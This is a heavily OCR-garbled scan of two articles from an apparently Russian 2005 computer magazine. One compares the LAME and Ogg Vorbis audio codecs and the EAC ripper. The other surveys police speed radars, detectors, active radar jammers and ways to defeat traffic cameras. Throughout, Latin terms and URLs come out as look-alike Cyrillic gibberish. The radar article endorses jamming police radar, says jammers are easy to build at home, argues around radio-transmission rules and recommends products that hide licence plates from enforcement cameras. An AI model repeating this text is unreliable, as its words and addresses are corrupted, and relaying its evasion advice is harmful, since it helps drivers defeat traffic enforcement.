[Еате — передовик качества] До сих пор лично я пользовался 
для составления своей музыкальной коллекции кодеком Еате 
(Шр://Іате,Боигсе^огде.пеі), производя гигабайты файлов трЗ с 
ѵагіаЫе Ьіігаіе. Готовые, свежескомпилированные версии Еате 
можно раздобыть на Шр://сІкиѣапоѵ.сІіаі,ги. Еате написан 
группой энтузиастов, которые придерживались принципов откры- 
тых исходных кодов, а за основу был взят свободно распростра- 
няемый демонстрационный код от 130, Кодек привлекателен воз- 
можностью тонкой настройки всего, что только может быть наст- 
роено, поддерживает ѴВГ? и по итогам множества тестов частень- 
ко признается лучшим кодеком для высоких битрейтов (192 и вы- 
ше). До сих пор я считаю его лучшим трЗ-кодеком, 
Психоакустическая модель рассматриваемого кодека в настоя- 
щее время доведена до ума и работает не за страх, а за совесть. 
Если в ранних версиях кодека иной раз приходилось принудитель- 
но ее отключать, то сейчас подобная необходимость совершенно 
отпала. Вообще-то, психоакустическая модель — понятие вирту- 
альное, суть которого заключается в простом посыле: человечес- 
кий слух — инструмент, конечно, тонкий, но не способный воспри- 
нимать ВСЕ звуки диапазона. Известно, что ухо наиболее чувстви- 
тельно в среднем диапазоне частот 2 - 5 кГц, в других же диапазо- 
нах чувствительность зависит от уровня громкости. Психоакусти- 
ческая модель как раз и отвечает за то, чтобы после кодирования 
ВСЕХ звуков разделить частотный спектр на части, выявить и вычис- 
тить из потока именно те звуки, которые лежат за порогом чувстви- 
тельности и все равно не могут быть распознаны органами слуха. 
Большой плюс Еате заключается в том, что в качестве оболочки 
для него удобно использовать уже знакомый граббер — 
ЕхасІАисІіоСору. Кодируя музыку с помощью Еате, можно выб- 
рать несколько различных режимов стереосигнала: зіегео, сіиаі 
сГіаппеІ и ]оіп1 зіегео. В режиме зіегео оба канала кодируются от- 
дельно, а кодер выделяет для каждого из них разные значения по- 
тока, занимаясь при необходимости коррекцией величины расп- 
ределения потока 
одного из каналов 
за счет другого. 

Способ хорош тем, 
что позволяет не 
тратить драгоцен- 
ное место на коди- 
рование содержа- 
щейся в канале ти- 
шины, в то время как 
в другом канале 
есть сигнал. В сІиаІ 

сГіаппеІ для каждо- [интерфейс программы СОех] 




[установка пресета кодека Еате] 




[ЕАС извлекает первый трек о последующим 
сжатием в ода] 







го канала выделяется ровна паловина потока, то есть сигнал ко- 
дируется как два отдельных моносигнала. Наиболее же часто 
используемый режим для обычного пользователя — іоіпі" зіегео, 
принцип работы которого предусматривает разложение стерео- 
сигнала на основную составляющую и разностную. Основная 
часть, по сути, является моноканалом, образованным из двух ис- 
ходных каналов, и несет основную же информацию, а разност- 
ная часть поставляет остальную инфу, позволяющую восстано- 
вить исходный стереозвук. Основная и разностная составляю- 
щие сжимаются отдельно, а психоакустические алгоритмы выби- 
рают, что в данный момент нужнее — пространственная картина, 
качество передачи информации или кодирование в режиме двух 
раздельных каналов. В итоге получаем выигрыш в размере файла 
при сохранении достойного уровня качество, 

[Одд ѴогЬіз — новичок или убийца трЗ?] В последнее время лю- 
ди, пристально следящие за развитием дел в области компрес- 
сии звука, все чаще обращают свое внимание на новый формат 
сжатия звука — Одд ѴогЬіз, призванный заменить собой все плат- 
ные патентованные аудиоформаты и создать полностью откры- 
тую систему мультимедиасистем. Формат создан компанией 
ХірЬорІпогиз (компания названа по имени аквариумной рыбки 
ХірЬорІпогиз НеІІегі, а формат ѴогЬіз назван в честь героя книги Тер- 
ри Пратчетта «Маленькие боги»). Кодек Одд ѴогЬіз вышел в свет в 
июне 2000 года, а относительно недавно компания ХірТі.Огд объ- 
явила о появлении окончательной версии формата — 1,0. 
Качество кодирования Одд ѴогЬіз, который использует перемен- 
ный битрейт, измеряется обычно при помощи шкалы ОиаІІТу с па- 
раметрами от 1 до 10. Для сравнения: диаііТу 0 сопоставимо с ка- 
чеством трЗ 64 КЬрз, 5 — приблизительно 1 60 КЬрз, 1 0 дает приб- 
лизительно около 400 КЬрз. Из сравнения становится ясно, что для 
большинства пользователей будет вполне достаточно установок 
риаіііу 5-6. Сильной стороной формата является масштабируе- 
мость — возможность изменения битрейта потока без необходи- 
мости декодирования. 

Некоторое время назад я не собирался пересаживаться с трЗ 
на одд хотя бы потому, что придется заново перенастраивать всю 
систему производства компрессованной музыки, но выяснилось, 
что новый кодек так же просто прикрутить к грабберу ЕАС, как и 
Іате, после чего одд будет доступен во вкладке кодеков. Это 
значит, что процесс кодирования музыки в формате одд абсо- 
лютно ничем не отличается от такого же, дающего на выходе фай- 
лы трЗ. Формат позволяет сохранить тэги с русскими буквами в 
кодировке ІЯР-8, что однозначно решает проблему с использова- 
нием ОС, отличных от ѴѴІпсІо\л/з. 

При примерно равных битрейтах размер файлов одд и трЗ отлича- 
ется в пользу первого. Для сравнения был закодирован трек 
«АрасЬе-Зспр+иге» с диска «Са(е Ьеі Маг — Ѵоіитеп ОсЬо», раз- 
мер которого составил в несжатом состоянии 49 Мб. С помощью 
Іате получился трЗ-файл со средним ѴВР-битрейтом 211 КЬрз и 
размером 7,32 Мб, а Одд ѴогЬіз при битрейте 175 КЬрз выдал файл 
размером 6,06 Мб, звучащий субъективно приятнее, чем трЗ. С не- 
которых пор я взял за правило не доверять всяческим сонограммам 
и ломаным линиям АЧХ (о, амплитудно-частотную характеристику я 
проходил в прошлом семестре! — Прим. Бублика), а полагаться 
только на собственные уши. Но если тебе необходима наглядная 
демонстрация — загляни на Іііір://ѵѵеЬзоипсІ.ги/іпсІех.сді?ІаІэогаі'о- 
гу/гѳѵіѳѵѵ/одді'езі и убедись в том, что время трЗ начинает уходить. 



[И ВНОВЬ ПРО ООО] 

Одд — непатентованный и не нуждающийся в лицен- 
зировании аудиоформат с открытым кодом, обеспечи- 
вающий скорость от 16 до 512 КрЬз и частоту сэмп- 
линга от 8 до 48 кГц. Одд ѴогЬіз принципиально бли- 
зок к формату трЗ, однако есть и отличия. Например, 
заппріе ассигаіе, то есть кодек не допускает наличия 
смещений или потери сэмплов относительно друг дру- 
га. Формат Одд ѴогЬіз не ограничен двумя аудиокана- 
лами (стерео) и способен поддержать до 225 отдель- 
ных каналов. Алгоритм Одд ѴогЬіз рассчитан на коди- 
рование с переменным битрейтом (ѴВН), в заголовке 
файла может размещаться информация о песне, ис- 
полнителе и Т.Д., в описание можно вставить даже 
изображение. Если тебе попался файл с расширением 
одд — знай, что это аудиофайл. 



[ВОЗМОЖНОСТИ ЕАС] 

Помимо своей главной задачи, с которой ЕАС справ- 
ляется на отлично, программа умеет: 

Ш Работать с интерфейсом А8РІ ѴѴІпбоѵѵз 95/98/МЕ и 
ѴѴіпсІоѵѵз МТ/2000. 

[2] Осуществлять операцию ]і11ег соггесііоп (коррекция и 
синхронизация между 

двумя треками во избежание щелчков или провалов, 
работает только при извлечении соседних треков). 

Обнаруживать и корректировать ошибки чтения и 
потери синхронизации. 

Копировать выбранную область аудиоданных, а не 
только трек целиком. 

Автоматически понижать скорость при возникнове- 
нии ошибок, с последующим ее повышением. 

^6] Поддерживать кодирование звука разнообразными 
внутренними и внешними кодеками, в том числе и на лету. 
И Корректно определять паузы между треками (дарз), 
выявлять тишину в паузах между треками и вырезать ее. 
_8] Автоматически создавать файлы СУЕ для програм- 
мы СОВѴѴІп, включающие межтрековые паузы, индек- 
сы, атрибуты треков, коды УРС и ІЗПС. 

Редактировать названия с использованием локаль- 
ной и удаленной базы СООВ 



[в одд вся сила!] Предполо>ку, что у формата Одд ѴогЬіз большое и 
светлое будущее, особенно если разработчики не сбавят темпа. Но- 
вый формат поддерживается рядом популярных программных пле- 
еров. Со всем софтом, поддерживающим этот формат, можно позна- 
комиться на официальном сайте по адресу т/ѵѵѵ.ѵогЫз.сот/зой- 
ѵѵагѳ.рзр?рісІ=2. Радиостанция ВВС еще в 2002 году начала интернет- 
вещание, передавая потоковое аудио в формате Сдд ѴогЬіз. Мой 
портативный СО-МРЗ плеер ІРІѵег с новой прошивкой уже поддержи- 
вает этот аудиоформат. Медиа-индустрия все пристальнее погляды- 
вает в сторону одд, помня, что стоимость лицензии на использование 
трЗ-кодека составляет около 8 долларов за каждое устройство, в ко- 
тором он применен, а одд совершенно бесплатен. Не повод ли это 
подумать о надвигающихся помпезных торжествах по поводу появле- 
ния нового лидера среди аудиоформатов? 

[из формата в формат] Убедившись самостоятельно в том, что ка- 
чество одд превосходит качество трЗ с теми же битрейтами, у 
тебя может возникнуть мысль о переконвертации файлов из фор- 
мата в формат. Делать этого ни в коем случае не стоит. Фокус в 
том, что кодеки имеют принципиально разные психоакустичес- 
кие модели, и каждый из них вырежет разные части аудиосигна- 
ла, соответственно, после переконвертации качество трЗ, об- 
ращенного в одд, значительно ухудшится. Говоря строго, любое 
перекодирование влечет за собой потерю качества звучания, и 
необходима эта процедура только в тех случаях, когда размер 
файлов имеет критическое значение. 

Как правило, наиболее распространенной операцией с пере- 
кодированием трЗ является процесс понижения битрейта с 
целью получения файлов меньшего размера. Лично мне пониже- 
ние битрейта было необходимо для того, чтобы сбросить на бол- 
ванки многогигабайтный архив аудиокниг, большинство из кото- 
рых имело размер около 800 Мб, никак не помещаясь на станда- 
ртную 700 Мб С01?-матрицу. 

Для понижения битрейта необходимо указать программе в наст- 
ройках, из какого формата в какой конвертировать файлы и каков 
ожидаемый на выходе результат. Для трЗ можно указывать жела- 
емые форматы, настроить топо/з1егео/]оіп1 зіегео звучание, а для 
одд, например, качество результирующего файла можно зада- 
вать ползунком, не цепляясь за фиксированные битрейты. Далее 
подлежащие конвертации файлы выделяются в окне программы 
мышью (можно сохранять порядок папок и каталогов), и остается 
только отправиться пить чай, ожидая, пока программа справится 
с предложенной работой. Хочу отметить, что справляется она 
обычно замечательно, сохраняя все тэги и структуру папок, до- 
вольно шустро и внимательно обрабатывая файлы один за другим, 

[эпилог] Вот так, чувак! Стоит задуматься о том, что же мы будем иметь 
в ближайшем будущем. По-моему, одд очень скоро вытеснит все по- 
пулярные ныне музыкальные форматы, если только их разработчики 
не предпримут в срочном порядке каких-либо серьезных шагов © 
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Радар в кустах 

КАК НАСТОЯЩИЙ РОЯЛЬ В КУСТАХ, РАДАР 
ГАИШНИКА ЧАСТО ОКАЗЫВАЕТСЯ ПОЛНОЙ 
НЕОЖИДАННОСТЬЮ, ПРИЧЕМ НЕ ИЗ ПРИ- 
ЯТНЫХ. НО ТОЛЬКО НЕ ДЛЯ ТЕХ ШУМАХЕ- 
РОВ, КОТОРЫЕ ВО ВСЕОРУЖИИ ВСТРЕТИ- 
ЛИ ВЕК ХАЙ-ТЕКА. НА ДОРОГАХ ЗЕМЛИ 
ИДЕТ ТЕХНИЧЕСКОЕ ПРОТИВОБОРСТВО — 
РАДАРЫ И АНТИРАДАРЫ, ДЕТЕКТОРЫ, СКА- 
НЕРЫ, ВИДЕОКАМЕРЫ И АВТОМОБИЛИ-НЕ- 
ВИДИМКИ... ЭТА ГОНКА ВООРУЖЕНИЙ ГРО- 
ЗИТ ВЫЛИТЬСЯ В ОТКРЫТЫЕ БОЕВЫЕ 
ДЕЙСТВИЯ. КАКОВО СЕЙЧАС СООТНОШЕНИЕ 
СИЛ МЕЖДУ ТЕМИ, КТО ДОГОНЯЕТ, И ТЕМИ, 
КТО УБЕГАЕТ? I Слава Ансимов ака АМЗІ (апзі@таіІ.ги) 



Противостояние 
в асфальтовых джунглях 

[тормозящие лучи] Если ты полистаешь авто- 
мобильные журналы и сайты, то, в общем, 
получишь пространный ликбез по милицейс- 
ким радарам и шоферским антирадарам 
(детекторам). Описания конкретных моде- 
лей и советы по их применению в мою зада- 
чу сегодня не входят. Интересно будет нари- 
совать всю картину в целом и особенно 
взглянуть на хай-тек перспеіаиву этого дела. 
В нашей стране радары гаишников оброс- 
ли таким ворохом домыслов и заблужде- 
ний, что начальные представления о техно- 
логии их работы будут уместны. Итак, ра- 
дар служит для дистанционного измере- 
ния скорости автомобиля. Он излучает ра- 
диоимпульс, который, отражаясь от движу- 
щегося объекта, меняет свою частоту сог- 
ласно эффекту Доплера — чем быстрее 
едем, тем выше доплеровский сдвиг. Отра- 
женный импульс принимается радаром и 
сравнивается с тем, что излучался. По раз- 
нице частот и определяется скорость. 

Но это только одна из самых распростра- 
ненных схем. На самом деле все гораздо 
разнообразнее. Помимо импульсно-допле- 
ровских, есть доплеровские радары непре- 
рывного излучения, есть недоплеровские 
радары непрерывного излучения с частот- 
ной модуляцией, есть псевдоимпульсные,.. 
В конце концов, есть лазерные импульсные 
измерители скорости — лидеры. 

У каждой разновидности радаров свои 






Обзор радаров, 
используемых российской 
ДПС: РПр://№шш.аиІоге- 
ѵіеш.ги/пеш_віІе/уеаг2000/п 
13/габаг/габаг2Мт 

РАО по радарам от 
производителя «Искры»: 
РІІр://шш№.зітісоп.сот/ти$/ 
Іац/ШехМтпІ 



особенности боевого приме- 
нения, однако самое распро- 
страненное средство противо- 
действия — детектор радаров 
— для всех универсальное. 

Иногда в обиходе детекторы 
радаров для простоты называ- 
ют антирадарами. На самом 
деле настоящие активные ан- 
тирадары у нас не распрост- 
ранены, и их мало кто видел. 

Задача приемников-детеісгоров — перехватить сигнал радара и тре- 
вожно-радостным писком, щебетанием, морганием предупредить 
водителя о засаде, чтобы тот успел сбросить скорость. Такие гэдже- 
ты производят фирмы США, Японии, Кореи, Великобритании, России 
и многих других стран. Кое-где в Европе ими пользоваться запреще- 
но, что довольно глупо и недемократично. По сути, тебе запрещают 
пользоваться (и даже владеть) всего лишь приемником, настроен- 
ным на определенные частоты, В России никаких таких запретов нет. 
Производимые в разных странах полицейские радары работают 
в трех диапазонах: 11 ГГц (Х-диапазон), 24 ГГц (К-диапазон) и 35 
ГГц (Ка-диапазон). В России актуальны пока только первые два. 
На деле большинство современных серийных детекторов скопом 
перекрывает все три диапазона, а иногда до кучи еще и лазер- 
ный (ближний инфракрасный). 



Если инспектор утверждает, что вы летели по дороге со 
скоростью 1 70 километров в час, объясните, что вы 
ехали со скоростью семьдесят. А вот он вылетел из-за 
кустов со скоростью 1 00 километров в час! 

Семен Альтов, «Еслинизмы» 






Дальность действия радаров обычно не превышает 300-500 мет- 
ров, что продиктовано чисто тактическими соображениями. Га- 
ишник (термин «гибэдэдэшник» употреблять не буду, чтобы не тра- 
тить время на идиотский смех :)) должен видеть машину, скорость 
которой замеряет, чтобы, собственно, знать, кого штрафовать. 
Мощность радара обычно ограничивают 15-50 милливаттами. Од- 
нако какой бы она ни была, дальнобойность детектора всегда в 
несколько раз больше дальности действия радара. Детектор 
принимает прямой (или переотраженный от зданий) сигнал рада- 
ра, а сам радар должен принять значительно более слабый, от- 
раженный от автомобиля сигнал. 

Первые детекторы радаров были весьма простыми устройствами, 
как западные промышленные, так и самодельные, которые прода- 
вались в середине 90-х в Москве на Митинском радиорынке. Пона- 
чалу они вселили наде>кду в водителей и некоторое время радова- 
ли их. Но постепенно детекторы стали фиксировать все больше по- 
мех — ложных срабатываний. Это произошло, когда Россия стала 
обрастать всяким беспроводным хай-теком, работающим в том же 
диапазоне (в основном, X) или цепляющим его своим спектром. 
Это охранные радиосистемы, ретрансляторы, радиомодемы, дис- 
танционные открыватели гаражей и прочие излучающие девайсы. 



На помехи детекторы реагировали весьма истерично, вызывая у 
водителей нервные расстройства. Кроме того, появился еще ряд 
проблем. Все это время враг не дремал и эволюционировал, как 
мог, пытаясь обмануть детекторы. Появились радары с понижен- 
ной мощностью и широкополосным спектром, а таіоке радары, 
способные определять скорость одним коротким выстрелом ме- 
нее чем за секунду. Последние в быту называют импульсными. В 
противоположность им старые модификации даже в автожурна- 
лах ошибочно называют непрерывными радарами, В действитель- 
ности, импульсными являются все компактные радары, использу- 
ющие одну антенну на передачу и на прием. Более громоздкие 
радары непрерывного излучения имеют две разнесенные антен- 
ны — на прием и на передачу. 

У водителей своя терминология — если гаишнику нужно долго 
жать кнопку или подвешивать постоянно включенный аппарат в 
машине ДПС, то это непрерывные радары. Если достаточно 
стрельнуть разок, то это импульсный, 

К новым типам радаров детекторы адаптировались быстро, а вот 
с помехами некоторые производители так и не научились хоть 
сколько-нибудь эффективно бороться даже на уровне дорогих 
моделей. Несмотря на патентованные фильтры, аналоговые де- 
текторы капитулировали и уходят в прошлое. Им на 
смену идут цифровые, где сигнал обрабатывается 
встроенным процессором по хитрым математическим 
алгоритмам фильтрации. В этих детекторах удалось не 
только уменьшить уровень ложных тревог, но и наве- 
сить кучу всяких режимов и дополнительных сервисов. 
В России сейчас представлены детекторы трех основ- 
ных мировых производителей — ВеІ, СоЬга и ѴѴГіізГіег, 
встречаются таіоке японские Зирег СаГ, корейские 
ЗГаг и некоторые менее известные брэнды. Все совре- 
менные модели реагируют на все три радиодиапазо- 
на — X, К и Ка, обнаруживают лазерные измерители и 
имеют переключение режимов чувствительности 
«трасса — город» для снижения влияния помех в горо- 
де. Устройства обычно имеют режим обучения и запо- 
минают настройки пользователя. 

(хай-тек детекторы) Непременный атрибут современ- 
ных импортных детекторов — защита от так называе- 




[боевое применение радара «Искра»] 



[хакер 06 [78] 05 > ИМПЛАНТ 039 ] 



[хакер 05 [77] 05 > ИМПЛАНТ 040 ] 



[ДОРОЖНАЯ КОНТРРАЗВЕДКА] 

Пионером масштабного противодействия автоматичес- 
ким дорожным камерам является Великобритания, на 
дорогах которой еще четыре года назад было сосредо- 
точено больше камер, чем во всей остальной Европе. В 
2001 году английская фирма МогрИеоиз начала продажу 
автомобильных устройств Зеосіезу, оснащенных прием- 
ником ѲРЗ с электронной картой Великобритании. В па- 
мять девайса занесены координаты более чем 1 0 000 
стационарных полицейских камер. Как только автомо- 
биль оказывается в заданном радиусе от какой-либо из 
этих камер, раздается предупреждающий сигнал. 

Всего в память можно занести до 1 6 000 точек, радиус 
предупреждения можно установить от 14 метров до 24 
километров. Обновленную базу с координатами камер 
пользователь может регулярно скачивать с сайта фир- 
мы. Годовая подписка на эту услугу стоит 50 английс- 
ких фунтов. 

Преимущества подобной системы перед детекторами 
радаров очевидны. Практически неограниченная даль- 
ность действия, никаких ложных срабатываний, а 
главное — аппарату по барабану, какой там стоит ра- 
дар или камера. Они могут вообще ничего не излу- 
чать, прибор заранее знает, что они там есть, и пре- 
дупреждает водителя. 

Против мобильных патрулей дорожной полиции 
МогрИеоиз предлагает дополнить «Геодезию» фирмен- 
ным детектором лазерных радаров ЕазегРіІоІз. В такой 
конфигурации комплект практически неприступен для 
врага. Более продвинутой модификацией (Зеобезу яв- 
ляется аппарат НоасІРІІоІ с ЕСО-экраном и сервисными 
функциями. 

Представитель британской фирмы заявил, что их по- 
купателями являются, в основном, немолодые респек- 
табельные люди, включая таксистов, членов городских 
магистратов и водителей депутатов. Есть даже школь- 
ная учительница, 56-летняя леди, которая приобрела 
устройство из-за одной и той же камеры, с которой 
она постоянно «не дружит». 



мых «детекторов детекторов» ѴѲ-2. Эти штуки использует полиция 
для обнаружения детекторов радаров в странах, где они запре- 
щены. Детектор радара хоть и является пассивным приемником, 
сверхчувствительные антенны все же способны уловить слабый 
сигнал его гетеродина. Нейтрализовать «детектор детекторов» 
можно, особо не напрягаясь. Простейшие варианты — металли- 
ческий корпус, всевозможные экранирования, дополнительное 
преобразование частоты, схема прямого усиления... 

Чтобы дать гэд>кетам хоть какое-то легальное прикрытие, произ- 
водители детекторов оснащают их отдельными полезными функ- 
циями. Так, почти все современные западные детекторы способ- 
ны принимать сигналы системы предупреждения об опасности 
ЗѴѴЗ (Заіеіу ѴѴагпіпд ЗузТет), которые излучают автомобили 
экстренных служб и маяки на опасных участках дорог (всего су- 
ществует более 60 видов предупре>кдающих ЗѴѴЗ-сообщений), 
Японцы придумали оснащать детеісторы радаров приемниками ѲРЗ. 
Или наоборот? ;) Симбиоз получился весьма удачным, особенно для 
Европы, напичканной автоматическими стационарными радарами с 
фотокамерами. Детеістор обнаруживает радары-камеры, ѲРЗ опре- 
деляет их координаты и заносит в память, чтобы передать привет кол- 
легам по несчастью — другим водителям, да и самого хозяина пре- 
дупредить в следующий раз, когда он поедет той же дорогой. 
Детекторы российских разработчиков не имеют излишних наво- 
ротов, поэтому они и дешевле. У нас нет радаров диапазона Ка, 
не действуют ЗѴѴЗ и защита от ѴѲ-2 не нужна. К примеру, аппара- 
ты ЗІеаІІГі петербургской фирмы «Балсат» стоят от 700 рублей, в то 
время как цена на зарубежные детекторы колеблется от 50 до 300 
долларов. В то же время ЗІеаІІО также имеет цифровую обработку 
сигнала, дающую способность реагировать на самые современ- 
ные радары. Широкий ассортимент детекторов выпускает другая 
питерская фирма — «Симикон». Кстати, она же производит и рада- 
ры, а именно получающую все большее распространение у ДПС 
«Искру» К-диапазона. Бизнес по обе стороны линии фронта с ком- 
мерческой точки зрения выглядит как весьма удачная идея :). Хотя 
большую часть отечественных радаров выпускают в Санкт-Петер- 
бурге, самыми распространенными по-прежнему являются доис- 



торические «Барьер-2М» с не- 
залежней Украины, 

Колдуны с полосатыми палками 
не слишком обеспокоены нали- 
чием детекторов у колесного 
населения. Хотя производители 
радаров сильно преувеличива- 
ют возможности своей продук- 
ции, у гаишников всегда есть бе- 
зотказный способ «отстрела». 

Нужно просто резко выйти из-за 
кустов и «выстрелить» в жертву с 
близкого расстояния, когда ре- [недорогой, популярный у нас 
агировать на детектор и тормо- детектор радаров СоЬга ЕЗО 6060] 
зить будет уже поздно. Конечно, 

эхо этого выстрела предупредит прочих водителей на несколько 
километров по трассе, но пока они проедут, инспектор все равно 
будет занят поеданием жертвы и эту часть потока пропустит. Более 
того, на некоторых опасных участках гаишники устанавливают ав- 
томатические радары-дурилки, испускающие сигналы в том же ди- 
апазоне. Водители с детекторами реагируют на них и сбрасывают 
скорость. Например, такой лжерадар выпускает питерская фир- 
ма «Оливия», которая производит радары «Сокол» и «Беркут», В вы- 
сокотехнологичной Японии (да и у нас кое-где) с той же целью на 
обочинах ставят фанерные пугала в виде дорожных полицейских. 
Производители радаров вовсю рекламируют новейшие обманки. 
Однако практически все эти суперинновации, патентованные 
технологии и ноу-хау малоэффективны. Современные детекторы 
влегкую преодолевают сии потуги, что вполне соответствует тра- 
диционному соотношению сил между средствами радиолокации 
и радиоперехвата. 

Впрочем, в пороховницах есть по-настоящему крутые штучки, ко- 
торые можно позаимствовать у военных. Пока они дороги и не 
окупят нейтрализацию детекторов (если в этом вообще есть ка- 
кой-либо смысл). Но технологии развиваются, и то, что стоило вче- 
ра кейсы зеленых денег, сегодня производят и продают за копей- 
ки. Наш футуристический прогноз не исключает реальных подви- 
жек в этом направлении. 

Основным оружием против детекторов, вероятнее всего, будет 
использование радарами кодированных шумоподобных сигна- 
лов. Зондирующий сигнал такого радара может иметь очень ма- 
лую излучаемую мощность, даже меньшую, чем уровень шума. 
Отраженный от автомобиля сигнал декодируется радаром и на- 
дежно распознается. Не зная сложного кода, детектор просто не 
обнаружит сигнал радара, и это будет действительно фатально 
— детекторы можно будет выкинуть. Но это еще не все. Работа ра- 
дара под шумом резко снизит эффективность и настоящих анти- 
радаров, которые ставят активные помехи. 

(водитель, вы превысили скорость света) В ближайшее время де- 
текторы, скорее всего, научатся четко отличать импульсы рада- 
ров от городских помех. Однако с выпрыгивающими из кустов га- 
ишниками они ничего поделать не смогут. 

Настоящими «серебряными пулями» против радаров являются ак- 
тивные антирадары. Они излучают активные помехи, которые нап- 
рочь забивают радары или вводят их в заблуждение. Скорость 
сбрасывать не надо и озираться по сторонам тоже — включил 
секретную штуковину и кати... Тем не менее, пользоваться антира- 
даром желательно с некоторой осмотрительностью. 

В простейшем случае антирадар непрерывно излучает широко- 
полосную помеху на всех радарных частотах. Радар не может 
на ее фоне различить отраженный сигнал и показывает только 
наличие помех. Злоупотреблять этим не рекомендуется. Катаясь 
по одной и той же трассе, ты быстро зас- 
ветишь свою шумящую в эфире повозку. 
Большинство промышленных антирадаров 
работает хитрее. Они принимают зондиру- 
ющий сигнал радара, усиливают его, из- 
меняют частоту и посылают обратно. Мощ- 
ность зондирующего сигнала больше, чем 
у реального отраженного сигнала, и имен- 
но его радар принимает за истинный. Из- 
мененная частота имитирует сдвиг Допле- 
ра и может создавать эффект произволь- 
ной скорости автомобиля. Тут тоже важно 
не переборщить. Если перед носом гаиш- 
ников пронеслось нечто, что чуть не смыло 
их с трассы ударной волной, а радар при 





[радар «Искра-видео» 
фиксирует факты 
нарушения на флешку] 




этом показывает 30 км/ч, то парни могут заподозрить подвох. 
Некоторые постановщики помех, такие как РНагег II фирмы Роску 
Моипі'аіп Расіаг, от импульса к импульсу переключают частоту ме>кду 
предельными скоростями, например 15 и 300 миль в час. Такие дикие 
перепады радар не успевает отследить и не показывает ничего, то 
есть демонстрирует полное отсутствие автомобилей на дороге. 
Вообще, по поводу антирадаров существуют нелепые предрас- 
судки, Описания этих устройств даже не пытайся найти в авто- 
журналах. Авторы если и упоминают их, то тут же пугаются сами, 
крестятся и заверяют, что за эти штуки повсеместно полагается 
расстрел на месте, а в нашей стране особенно. На самом деле 
все не так мрачно. Во многих странах подобных запретов нет. 

В России тоже нет специального запрета но антирадары. Обычно 
нас пугают статьей 137 Кодекса РСФСР об административных 
правонарушениях, которая карает за несанкционированное ис- 
пользование радиопередающих средств. Тут есть два момента. 
Во-первых, санкцию на такое использование можно получить, нап- 
ример, в виде разрешения на любительскую радиосвязь от Глав- 
госсвязьнадзора России, Разрешение на радиостанцию даже 
самой низкой, четвертой категории, получить которое — плевое 
дело, дает право на радиопередачу, в том числе в Х-диапазоне 
(10,0 - 10,5 ГГц). Правда, остаются еще нюансы цели использова- 
ния передающего средства, а также вторичной основы Х-диапа- 
зона для радиолюбителей и всякая прочая казуистика. Тем не ме- 
нее, при наличии разрешения доказать злой умысел в постановке 
помех будет гораздо сложнее. Ну а во-вторых, можно вообще не 
париться с разрешениями, если мощность твоего передающего 
средства меньше максимального значения, не требующего реги- 
страции устройства. Для большинства СВЧ-диапазонов в докумен- 
тах фигурирует 5 милливатт. Во всяком случае, даже закрытая мик- 
роволновка излучает значительно больше. Антирадару, чтобы заг- 
лушить радар на дальности 500 метров, 5 мВт хватит за глаза. 
Второй миф, который впаривают автомобильные СМИ, состоит в том, 
что помеховые антирадары баснословно дороги. Это, конечно, пол- 
ная ерунда. Устройство их достаточно незамысловато и в простейших 
случаях доступно даже для самостоятельного изготовления. Запад- 
ные промышленные модели антирадаров (гасіаг ]аттег5) стоят от 130 
до 3000 американских условных единиц (т/ѵѵѵ.гасіагіаттегв.согп). 
Данные аппараты ставят помехи во всех трех СВЧ-диапазонах и даже 
умеют дурить инфракрасные лазерные лидеры. 

Кстати, последние уже производят в России. На вооружении они 
пока есть только в Москве — целых несколько штук (стоимость — 
$3600). ЛИСД-2 выглядит как бинокль, глядя в который, нужно при- 
целиться в замеряемую машину. Таким аппаратом можно точно 
вычленить желаемый объект из плотного потока транспорта. 
Такая же, как у лидеров, избирательность по углу у современных 
радиочастотных радаров отсутствует. Со временем, скорее все- 
го, эта проблема будет решена. Заодно появится возможность 
измерять не только радиальную, но и угловую скорость автомоби- 
ля. Это значит, для установления точной скорости по трассе гаиш- 
нику не нужно будет выскакивать на эту трассу и с прибором на- 
перевес атаковать машину в лоб. Зная угловую и радиальную 
скорость, можно спокойно стоять в сторонке и измерять ско- 
рость, не выходя из кустов. 

Но полное счастье в этой радужной перспективе дорожных 
блюстителей все равно не ждет. Довольно быстро появятся анти- 
радары с помехами, «уводящими по углу», как это практикуется в 
военных самолетах. Вот тут фантазии будет где развернуться — 
подобная помеха способна имитировать движение автомобиля 
даже поперек дороги :). 



[смертельное оружие] Напоследок, ложка 
гм... дегтя нам, колесным гражданам. Даже 
если не слишком ударяться в футуризм, можно 
сказать, что у дорожных стражей уже есть 
убойное оружие, против которого бессильны 
и детеісгоры, и антирадары. Это видеокамеры 
с компьютером. Нет, не те, что сочетаются с 
радаром и автоматически фотографируют но- 
мера нарушителей, а полностью пассивные, 
ничего не излучающие камеры-шпионы. Прин- 
цип работы простой и смертельный: програм- 
ма в компьютере анализирует изображение 
движущегося автомобиля и с учетом фиксиро- 
ванной ориентации камеры определяет ско- 
рость с предельно высокой точностью. 
Единственный шанс спастись от этого «кота- 




[компактный лазерный 
импульсный измеритель 
скорости (лидар)] 



баюна», как ни странно, самый 
что ни на есть доступный, хотя и не 
слишком надежный. Это тот са- 
мый компаіст-диск на леске за ло- 
бовым стеклом. Данный амулет 
вывешивают у себя и некоторые 
российские водители, ошибочно 
полагая, что он каким-то образом 
«отвораживает» радары. На са- 
мом деле это старое западное [активный антирадар последнего 
изобретение против фотографи- поколения НМРІ-О550] 
рующих камер, с радарами или 

без. Для доказательства вины недостаточно зафиксировать на сним- 
ке номера нарушителя, необходимо заснять и портрет водителя, а для 
этого приходится применять фотовспышку. Вот тут-то маячащий перед 
физиономией компакт-диск и может блеснуть, испортив камере всю 
малину. Для пущей надежности вместо компакта лучше подвесить 
уголковый отражатель — обычный катафот. Правда, установщикам ка- 
меры достаточно разнести вспышку от объеістива хотя бы на полмет- 
ра, и всей нашей встречной иллюминации наступит кирдык. 

Но и тут сдаваться рано. Можно еще запрятать от камеры номера. За- 
ляпывать их грязью было бы примитивно и неэстетично, особенно для 
твоей крутой иномарки. Для таких дел западная промышленность про- 
изводит специальный спрей. Он покрывает номер машины особой 
пленкой, которая позволяет беспрепятственно читать номер при рас- 
сеянном свете, но сильно бликует от вспышки, причем в разных направ- 
лениях. Вместо номера на снимке будет сплошная засветка. Выпуска- 
ет это патентованное чудо под названием РІпо+оВІоскег американская 
фирма РІпапІотРІаІе (тмѵ.рііапі'отріаіе.сот). В интернете флакон- 
чик можно купить за $30. Для полной гарантии эффект предлагается 
усилить бликующей накладкой на номера РОоІоЗІпіеІсІ — от $30 до $60, 
Конечно, охватить в этом прифронтовом обзоре удалось далеко 
не весь участок противостояния, и тем более его перспектив. Но 
некоторый свет, я надеюсь, мне удалось пролить. Идеи, изложен- 
